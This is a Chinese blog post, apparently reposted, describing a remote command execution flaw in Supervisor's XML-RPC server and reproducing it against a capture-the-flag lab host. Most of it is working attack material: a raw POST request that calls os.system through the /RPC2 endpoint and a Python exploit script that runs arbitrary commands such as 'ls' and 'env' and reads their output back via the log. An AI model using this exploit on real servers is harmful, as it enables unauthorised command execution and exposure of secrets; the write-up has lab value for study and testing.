本文共 1594 字,大约阅读时间需要 5 分钟。
Supervisor XML-RPC服务器存在严重安全漏洞,远程攻击者可借助特制请求执行任意命令。
漏洞影响
Supervisor 3.0.1及更早版本,3.1.x系列的3.1.4及更早版本,3.2.x系列的3.2.4及更早版本,以及3.3.x系列的3.3.3及更早版本均受影响。漏洞复现
通过POST请求到/RPC2端点,可调用supervisor.supervisord.options.warnings.linecache.os.system方法执行任意命令。例如,以下请求可创建文件: POST /RPC2 HTTP/1.1Host: node3.buuoj.cn:29053User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: UM_distinctid=1785a4ff130456-0f22e64e92af97-4c3f227c-1fa400-1785a4ff131385; qSq_sid=TwroyT; qSq_visitedfid=2Upgrade-Insecure-Requests: 1Cache-Control: max-age=0Content-Type: application/x-www-form-urlencodedContent-Length: 215supervisor.supervisord.options.warnings.linecache.os.system touch /tmp/success
验证
以下Python脚本可用于验证漏洞:#!/usr/bin/env python3import xmlrpc.clientimport systarget = sys.argv[1]command = sys.argv[2]with xmlrpc.client.ServerProxy(target) as proxy: old = getattr(proxy, 'supervisor.readLog')(0,0) logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')() getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile)) result = getattr(proxy, 'supervisor.readLog')(0,0) print(result[len(old):]) 运行脚本:
python exp.py “http://node3.buuoj.cn:29053” “ls”python exp.py “http://node3.buuoj.cn:29053” “env”
转载地址:http://ehci.baihongyu.com/